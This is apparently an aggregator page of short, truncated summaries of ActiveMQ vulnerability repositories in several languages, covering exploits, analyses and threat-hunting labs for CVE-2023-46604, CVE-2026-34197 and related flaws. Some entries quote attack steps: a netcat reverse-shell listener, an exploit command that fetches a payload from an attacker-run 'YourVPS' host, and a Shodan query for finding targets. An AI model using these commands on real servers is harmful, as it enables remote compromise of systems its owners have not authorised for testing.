ActiveMQ-EXPtools

ActiveMQ-EXPtools Apache ActiveMQ 취약점 탐지 및 이용 지원, CVE-2015-5254, CVE-2016-3088, CVE-2022-41678, CVE-2023-46604, CVE-2024-32114, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588 !WARNING 이 도구는 보안 연구 및 학습 목적으로만 사용됩니다. 사용자는 이 도구 사용으로 인해 발생하는 모든 법적 책임과 관련 책임을 스스로 부담해야 합니다. 귀하의 행동이 현지 법률 및 규정을 준수하는지...

ActiveMQ_CVE-2015-5254

ActiveMQ デシリアライゼーション CVE-2015-5254 脆弱性の説明：Apache ActiveMQ 5.13.0 より前の 5.x バージョンに安全上の脆弱性が存在します。この脆弱性は、プログラムがブローカーでシリアライズ可能なクラスを制限していないことに起因します。リモートの攻撃者は、特別に細工されたシリアライズ化された Java Message Service JMS ObjectMessage オブジェクトを利用して、任意のコードを実行する可能性があります。 影響を受けるバージョン：Apache ActiveMQ 5.13.0 より前の 5.x バージョン 0x01...

SSP-Assignment-3-RCEYouLater

CVE-2023-46604: Apache ActiveMQ RCE 개념 증명 과제: SSP 과제 3 팀: RCE You Later 팀원: Banica Horia Alexandru, Comarlau Vlad-Constantin 저장소를 사용하여 PoC를 수행하는 비디오 링크:https://www.youtube.com/watch?v=vum4qTF4ygU 🚨 개요 이 저장소는 CVE-2023-46604 에 대한 완전한 기능의 개념 증명PoC을 포함합니다. 이 취약점을 통해 공격자는 취약한 Apache ActiveMQ 서버버전...

CVE-2026-34197

CVE-2026-34197 説明 Apache ActiveMQ Broker および Apache ActiveMQ における、不適切な入力検証、コード生成の制御の不備（コードインジェクション）の脆弱性。Apache ActiveMQ Classic は、Web コンソール上で Jolokia JMX-HTTP ブリッジを /api/jolokia/ に公開しています。デフォルトの Jolokia アクセスポリシーは、BrokerService.addNetworkConnectorString や BrokerService.addConnectorString を含む、すべての...

CVE-2023-46604-Analysis

CVE-2023-46604 Analysis Apache ActiveMQ CVE-2023-46604의 원인, 코드 경로, 패치 포인트, 재현 결과를 정리한 기술 분석 저장소입니다. 본 문서는 공개된 취약점 CVE-2023-46604에 대한 기술 분석 및 방어 관점의 학습 자료입니다. 모든 실험은 승인된 폐쇄형 테스트 환경에서만 수행되었으며, 비인가 시스템에 대한 적용이나 재현은 불법일 수 있습니다. 본 문서의 내용은 취약점 이해, 패치 검증, 탐지 및 대응 역량 강화를 위한 목적으로만 제공됩니다. Overview...

apache__activemq_CVE-2020-11998_5-15-12

Apache ActiveMQ へようこそ Apache ActiveMQ は、Apache 2.0 ライセンスの高パフォーマンスな メッセージブローカーであり、JMS 1.1 の実装です。 はじめに 始めるにあたって、以下のリンクを試してみてください： はじめに http://activemq.apache.org/version-5-getting-started.html ビルド http://activemq.apache.org/version-5-getting-started.htmlGettingStarted-WindowsSourceInstallation...

apache__activemq_CVE-2014-3576_5-10-1

欢迎使用 Apache ActiveMQ Apache ActiveMQ 是一个高性能的、依据 Apache 2.0 许可证授权的 消息代理（Message Broker）和 JMS 1.1 实现。 快速入门 为了帮助您快速上手，请尝试以下链接： 快速入门 http://activemq.apache.org/version-5-getting-started.html 构建 http://activemq.apache.org/version-5-getting-started.htmlGettingStarted-WindowsSourceInstallation...

apache__activemq_CVE-2019-0222_5-15-8

Apache ActiveMQ へようこそ Apache ActiveMQ は、Apache 2.0 ライセンスの高性能メッセージブローカーであり、 JMS 1.1 の実装です。 はじめに 開始にあたり、以下のリンクを参照してください: はじめに http://activemq.apache.org/version-5-getting-started.html ビルド http://activemq.apache.org/version-5-getting-started.htmlGettingStarted-WindowsSourceInstallation...

CVE-2023-50780

CVE-2023-50780: Dangerous MBeans Accessible via Jolokia API in Apache ActiveMQ Artemis By listing and inspecting the MBeans exposed by the Jolokia API at http://127.0.0.1:8161/console/jolokia the following attack vectors have been identified: Arbitrary File Write using Log4J indirectly resulting ...

intel471-threat-hunting-cve-2023-46604

Intel 471 脅威ハンティングワークショップ – CVE-2023-46604 調査 概要 このリポジトリは、CVE-2023-46604 に焦点を当てた Intel 471 のインテリジェンス駆動型脅威ハンティングワークショップでの、私の初めての実践的な経験を記録したものです。 この実践的なワークショップを通じて、攻撃者が重大な Apache ActiveMQ の脆弱性をどのように悪用したかを調査し、Elastic SIEM を使用して侵害後の挙動を分析し、インテリジェンス駆動型の脅威ハンティング手法を適用して悪意のある永続化メカニズムを特定しました。 実証したスキル...

Project-Vuln-Detection-N-Mitigation_101

Project-Vuln-Detection-N-Mitigation101 Apache ActiveMQ デシリアライゼーション RCE CVE-2023-46604 – フェーズ 2 プロジェクト セキュリティアーキテクチャ & システム管理 著者: Vaishnavu C V · 日付: 17 Sep 2025 ステータス: ⌀ フェーズ 2 の成果物は完了 概要 このリポジトリは、Apache ActiveMQ Classic の CVE-2023-46604...

CVE-2022-41678

CVE-2022-41678: Apache ActiveMQ の Jolokia API を介してアクセス可能な危険な MBean http://127.0.0.1:8161/api/jolokia の Jolokia API によって公開されている MBean を列挙・調査したところ、以下の攻撃ベクトルが特定されました: Log4J を利用した任意ファイル書き込み（リモートコード実行につながる） Log4J を利用した任意ファイル読み取り Log4J を利用した SSRF Java Flight Recorder を利用した任意ファイル上書き（threatbook.cn...

CVE-2026-34197

CVE-2026-34197 - Apache ActiveMQ 通过 Jolokia 的远程代码执行 1. 概述 项目| 详情 ---|--- CVE ID| CVE-2026-34197 CVSS 评分| 8.8（高危） 漏洞类型| 远程代码执行（RCE） CWE| CWE-20 输入验证不当 / CWE-94 代码注入 受影响组件| Apache ActiveMQ Classic - Jolokia JMX-HTTP 桥接 受影响版本| 5.19.4 以及 6.0.0 至 6.2.2 修复版本| 5.19.4 / 6.2.3 披露日期| 2026-04-07 认证|...

CVE-2023-46604

CVE-2023-46604 요구 환경에 따라 피해자 머신과 대상 머신으로 구성된 2개의 이미지를 포함하는 docker-compose를 구축합니다. 피해자 머신에서 ActiveMQ를 시작합니다. 공격자 머신으로 전환합니다: • HTTP 서비스를 열어 poc를 전송합니다: python3 -m http.server • netcat을 사용하여 공격자 머신으로의 연결을 수신 대기합니다: nc -nlvp 4444 • 공격자 머신으로 리버스 셸 연결을 생성하는 payload를 전송합니다: python3 exploit.py -i...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 Apache ActiveMQ와 OpenWire 개요 ActiveMQ는 JMS를 지원하는 클라이언트를 포함하는 브로커, 자바 뿐만 아니라 다양한 언어를 이용하는 시스템 간 의 통신을 할 수 있게해준다. 또한 클러스터링 기능 및 DB 그리고 FileSystem을 통해 각 시스템간의 일관성 및 지속성을 유지 시켜주는 오픈 소스 메세징 그리고 통합 패턴 서버 입니다. OpenWire는 Apache ActiveMQ에서 사용되는 이진 메시징 프로토콜...

cve-2023-46604

Apache ActiveMQ CVE-2023-46604 CVE-2023-46604は、CISAのKEVリストに掲載されている広く悪用されている脆弱性です。このgo-exploit実装は、Nashornペイロードを使用してターゲット上でリバースシェルを実行するか、バイナリをターゲットにダウンロードして実行することができます。 コンパイル Dockerイメージにエクスプロイトをビルドするには、以下のようにします： root@kitploit: make docker Goのビルド環境があれば、makeコマンドだけでも利用できます： root@kitploit:...

CVE-2023-46604

CVE-2023-46604 CVE-2023-46604 用エクスプロイト このツールは、この脆弱性の悪用に役立ちます。 ターゲットを検索するための Shodan クエリ: root@kitploit: product:"ActiveMQ" port:"61616" ツールの使用方法: root@kitploit: for read targets from the file: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- single target: python3 exploit.py -ip IP -c...

CVE-2026-34197-Apache-ActiveMQ-RCE

commandに対してXMLエスケープを行っていなかったことに起因するreverseshell失敗の問題を修正...

OpenWire-CVE-2023-46604-Investigation

OpenWire-CVE-2023-46604-Investigation OpenWire ラボ Tier 2 の Security Operations Center SOC アナリストとしてシフト中、Tier 1 アナリストから、複数の不審な外部IPアドレスと通信していることが観察された公開アクセス可能なサーバに関するエスカレーションを受け取りました。 これに対応し、私は標準的なインシデントレスポンス IR...

CVE-2026-34197

🚨 CVE-2026-34197 — Apache ActiveMQ における重大な Jolokia RCE Jolokia MBeans 経由の認証済み RCE → リモート Spring XML → JVM コード実行 📖 概要 CVE-2026-34197 は、Apache ActiveMQ Classic に影響を与える 高深刻度の認証済みリモートコード実行脆弱性 です。 この問題は、以下のように公開されている Jolokia JMX-HTTP ブリッジ に存在します。 root@kitploit: /api/jolokia/ 認証済み攻撃者は、以下のような危険な MBean...